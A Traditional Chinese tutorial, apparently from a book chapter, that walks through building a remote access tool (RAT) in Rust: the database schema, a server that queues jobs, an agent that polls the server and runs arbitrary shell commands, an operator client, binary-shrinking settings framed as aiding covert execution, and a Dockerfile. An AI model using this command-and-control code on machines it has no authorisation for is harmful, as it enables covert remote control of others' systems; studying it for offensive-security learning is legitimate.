這個使用 Rust 開發的遠端命令執行系統,採用客戶端-伺服器架構,伺服器端負責任務管理和資料函式庫操作,代理端負責執行命令並回傳結果。伺服器端使用 warp 框架建立 Web 服務,sqlx 操作 PostgreSQL 資料函式庫,tokio 進行非同步程式設計。資料函式庫包含 agents 和 jobs 表格,分別儲存代理端資訊和任務資訊。代理端會向伺服器註冊、取得任務、執行命令並回傳結果。系統利用 Rust 的非同步特性提升效能,並針對錯誤處理和資料函式庫操作進行了最佳化。此外,文章還探討瞭如何縮減 Rust 二進位檔案大小以及使用 Docker 容器化伺服器佈署。
探討根據Rust的遠端命令執行系統設計與實作
本篇文章將詳細分析一個使用Rust語言開發的遠端命令執行系統,該系統包含伺服器端和代理端兩個主要元件。我們將探討其設計原理、實作細節以及關鍵技術點。
系統架構概述
該系統採用客戶端-伺服器架構,其中伺服器端負責管理任務和資料函式庫操作,而代理端則負責執行伺服器指派的命令並回傳結果。
伺服器端實作
伺服器端主要使用以下技術堆疊:
- 使用
warp
框架建立Web服務 - 使用
sqlx
進行資料函式庫操作 - 使用
tokio
實作非同步程式設計
資料函式庫設計
資料函式庫使用PostgreSQL,包含兩個主要表格:agents
和jobs
。
agents表格結構
CREATE TABLE agents (
id UUID PRIMARY KEY,
created_at TIMESTAMP WITH TIME ZONE NOT NULL,
last_seen_at TIMESTAMP WITH TIME ZONE NOT NULL
);
內容解密:
此表格用於儲存已註冊的代理端資訊。其中:
id
欄位儲存代理端的唯一識別碼created_at
欄位記錄代理端註冊時間last_seen_at
欄位記錄代理端最後一次與伺服器通訊的時間
jobs表格結構
CREATE TABLE jobs (
id UUID PRIMARY KEY,
created_at TIMESTAMP WITH TIME ZONE NOT NULL,
executed_at TIMESTAMP WITH TIME ZONE,
command TEXT NOT NULL,
args JSONB NOT NULL,
output TEXT,
agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE
);
CREATE INDEX index_jobs_on_agent_id ON jobs (agent_id);
內容解密:
此表格用於儲存任務相關資訊。其中:
id
欄位儲存任務的唯一識別碼created_at
欄位記錄任務建立時間executed_at
欄位記錄任務執行完成時間command
欄位儲存需要執行的命令args
欄位儲存命令執行引數,採用JSONB格式儲存output
欄位儲存命令執行結果agent_id
欄位關聯到執行該任務的代理端ID
Repository實作詳解
Repository層負責所有資料函式庫操作,主要包含以下功能:
建立任務
pub async fn create_job(&self, db: &Pool<Postgres>, job: &Job) -> Result<(), Error> {
const QUERY: &str = "INSERT INTO jobs (id, created_at, executed_at, command, args, output, agent_id) VALUES ($1, $2, $3, $4, $5, $6, $7)";
// ... 繫結引數並執行查詢
}
內容解密:
此函式用於在資料函式庫中建立新的任務記錄。它將Job
結構體中的資料插入到jobs
表格中。
更新任務狀態
pub async fn update_job(&self, db: &Pool<Postgres>, job: &Job) -> Result<(), Error> {
const QUERY: &str = "UPDATE jobs SET executed_at = $1, output = $2 WHERE id = $3";
// ... 繫結引數並執行更新
}
內容解密:
此函式用於更新任務的執行時間和輸出結果。它根據任務ID更新對應的executed_at
和output
欄位。
查詢任務
pub async fn find_job_by_id(&self, db: &Pool<Postgres>, job_id: Uuid) -> Result<Job, Error> {
const QUERY: &str = "SELECT * FROM jobs WHERE id = $1";
// ... 執行查詢並處理結果
}
內容解密:
此函式根據任務ID查詢對應的任務資訊。如果找不到對應的任務,會回傳Error::NotFound
錯誤。
代理端實作
代理端主要負責向伺服器註冊、取得任務並執行,然後將執行結果回傳給伺服器。
註冊流程
pub fn register(api_client: &ureq::Agent) -> Result<Uuid, Error> {
let register_agent_route = format!("{}/api/agents", consts::SERVER_URL);
// ... 向伺服器傳送註冊請求並處理回應
}
內容解密:
代理端透過向伺服器傳送註冊請求來取得自己的唯一ID。註冊成功後會儲存該ID以供後續使用。
命令執行流程
pub fn run(api_client: &ureq::Agent, agent_id: Uuid) -> ! {
// ... 迴圈取得任務、執行命令並回傳結果
}
內容解密:
代理端進入一個無限迴圈,不斷向伺服器請求任務。如果取得到任務,則執行對應的命令並將結果回傳給伺服器。
系統優點分析
- 非同步處理: 系統使用
tokio
實作非同步處理,能有效提升效能。 - 錯誤處理: 系統對各種可能的錯誤情況進行了詳細的處理,增強了系統的穩定性。
- 資料函式庫操作: 使用
sqlx
進行資料函式庫操作,提供了型別安全和非同步支援。
10.8 遠端存取工具(RAT)客戶端實作
10.8.1 主要功能概述
本章節將探討如何使用Rust實作一個完整的遠端存取工具(RAT)客戶端。RAT客戶端的主要功能包括接收伺服器指令、執行系統命令以及回傳執行結果。
10.8.2 代理端實作
代理端是RAT的核心元件,負責與伺服器進行通訊並執行遠端指令。以下是代理端的主要實作細節:
程式碼實作
use std::{thread, time::Duration};
use crate::api;
pub fn run(api_client: &api::Client, agent_id: &str) -> Result<(), Error> {
let sleep_for = Duration::from_secs(1);
loop {
// 向伺服器查詢是否有待執行的工作
let api_res = match api_client.get_job(agent_id) {
Ok(api_res) => api_res,
Err(err) => {
log::debug!("Error fetching job: {}", err);
thread::sleep(sleep_for);
continue;
}
};
// 檢查伺服器是否回傳有效的工作
let job = match api_res.data {
Some(job) => job,
None => {
log::debug!("No job found. Trying again in: {:?}", sleep_for);
thread::sleep(sleep_for);
continue;
}
};
// 執行工作並取得結果
let output = execute_command(job.command, job.args);
// 將執行結果回傳給伺服器
let job_result = api::UpdateJobResult {
job_id: job.id,
output,
};
// 傳送工作結果回伺服器
match api_client.post_job_result(job_result) {
Ok(_) => {}
Err(err) => {
log::debug!("Error sending job's result back: {}", err);
}
};
}
}
#### 內容解密:
此段程式碼實作了RAT代理端的主要邏輯,主要包含以下關鍵步驟:
1. 使用無限迴圈持續向伺服器查詢工作
2. 正確處理API回應並提取工作內容
3. 執行遠端指令並取得輸出結果
4. 將執行結果回傳給伺服器
5. 正確處理錯誤情況並進行重試
### 指令執行功能實作
#### 程式碼實作
```rust
fn execute_command(command: String, args: Vec<String>) -> String {
let mut ret = String::new();
let output = match Command::new(command).args(&args).output() {
Ok(output) => output,
Err(err) => {
log::debug!("Error executing command: {}", err);
return ret;
}
};
ret = match String::from_utf8(output.stdout) {
Ok(stdout) => stdout,
Err(err) => {
log::debug!("Error converting command's output to String: {}", err);
return ret;
}
};
ret
}
內容解密:
此函式負責執行系統命令並取得輸出,主要流程如下:
- 使用
Command::new
建立新的命令執行器 - 正確處理命令執行錯誤情況
- 將命令輸出轉換為字串格式
- 正確處理輸出轉換錯誤
- 傳回命令執行結果
10.8.3 客戶端功能實作
10.8.3.1 傳送工作請求
客戶端實作了兩項主要功能:傳送工作請求和列出工作記錄。
程式碼實作
pub fn run(api_client: &api::Client, agent_id: &str, command: &str) -> Result<(), Error> {
let agent_id = Uuid::parse_str(agent_id)?;
let sleep_for = Duration::from_millis(500);
let input = common::api::CreateJob {
agent_id,
command: command.trim().to_string(),
};
let job_id = api_client.create_job(input)?;
loop {
let job_output = api_client.get_job_result(job_id)?;
if let Some(job_output) = job_output {
println!("{}", job_output);
break;
}
thread::sleep(sleep_for);
}
Ok(())
}
內容解密:
此函式實作了客戶端傳送工作請求的功能,主要包含以下步驟:
- 解析代理端ID
- 建立工作請求物件
- 傳送工作請求到伺服器
- 輪詢工作執行結果
- 正確處理結果輸出
10.8.3.2 列出工作記錄
程式碼實作
pub fn run(api_client: &api::Client) -> Result<(), Error> {
let jobs = api_client.list_jobs()?;
let mut table = Table::new();
table.add_row(Row::new(vec![
Cell::new("Job ID"),
Cell::new("Created At"),
Cell::new("Executed At"),
Cell::new("command"),
Cell::new("Args"),
Cell::new("Output"),
Cell::new("Agent ID"),
]));
for job in jobs {
table.add_row(Row::new(vec![
Cell::new(job.id.to_string().as_str()),
Cell::new(job.created_at.to_string().as_str()),
Cell::new(job.executed_at.map(|t| t.to_string()).unwrap_or(String::new()).as_str()),
Cell::new(job.command.as_str()),
Cell::new(job.args.join(" ").as_str()),
Cell::new(job.output.unwrap_or("".to_string()).as_str()),
Cell::new(job.agent_id.to_string().as_str()),
]));
}
table.printstd();
Ok(())
}
內容解密:
此函式負責列出所有工作記錄,主要包含以下功能:
- 從伺服器取得工作列表
- 建立表格結構
- 填入工作詳細資訊
- 正確格式化輸出內容
- 列印工作列表
10.9 最佳化Rust二進位檔案大小
預設情況下,Rust編譯產生的二進位檔案較大,這對於RAT這種需要隱蔽執行的程式來說是不利的。以下是幾種最佳化二進位檔案大小的方法:
10.9.1 最佳化等級設定
在Cargo.toml
中設定:
[profile.release]
opt-level = 'z' # 為大小進行最佳化
內容解密:
此設定指示編譯器優先考慮二進位檔案大小而非執行效能。
10.9.2 連結時期最佳化(LTO)
在Cargo.toml
中設定:
[profile.release]
lto = true
內容解密:
LTO允許編譯器在連結階段進行更深入的最佳化,從而進一步縮小二進位檔案大小。
10.9.3 平行程式碼產生單元
在Cargo.toml
中設定:
[profile.release]
codegen-units = 1
內容解密:
減少程式碼產生單元可以提高最佳化程度,但可能會增加編譯時間。
10.9.4 選擇適當的crate
使用cargo-bloat
工具來分析專案中哪些crate佔用了最多的空間,並選擇更小的替代方案。
10.10 使用Docker容器化伺服器
本文介紹如何使用Docker將伺服器應用程式容器化。
Dockerfile範例
#################################################################################################
## Builder
#################################################################################################
FROM rust:latest AS builder
WORKDIR /ch_10
COPY ./ .
RUN cargo build -p server --release
#################################################################################################
## Final image
#################################################################################################
FROM debian:buster-slim
# 建立無許可權使用者
ENV USER=ch_10
ENV UID=10001
RUN adduser \
--disabled-password \
--gecos "" \
--home "/nonexistent" \
--shell "/sbin/nologin" \
--no-create-home \
--uid "${UID}" \
"${USER}"
WORKDIR /ch_10
# 複製建構結果
COPY --from=builder /ch_10/target/release/server ./
# 使用無許可權使用者執行
USER ch_10:ch_10
CMD ["/ch_10/server"]
圖表翻譯:
此Dockerfile使用了多階段建構流程:
- 第一階段使用Rust官方映像進行編譯
- 第二階段使用debian:buster-slim建立最小化的執行環境
- 建立無許可權使用者以降低安全風險
- 正確設定工作目錄和執行許可權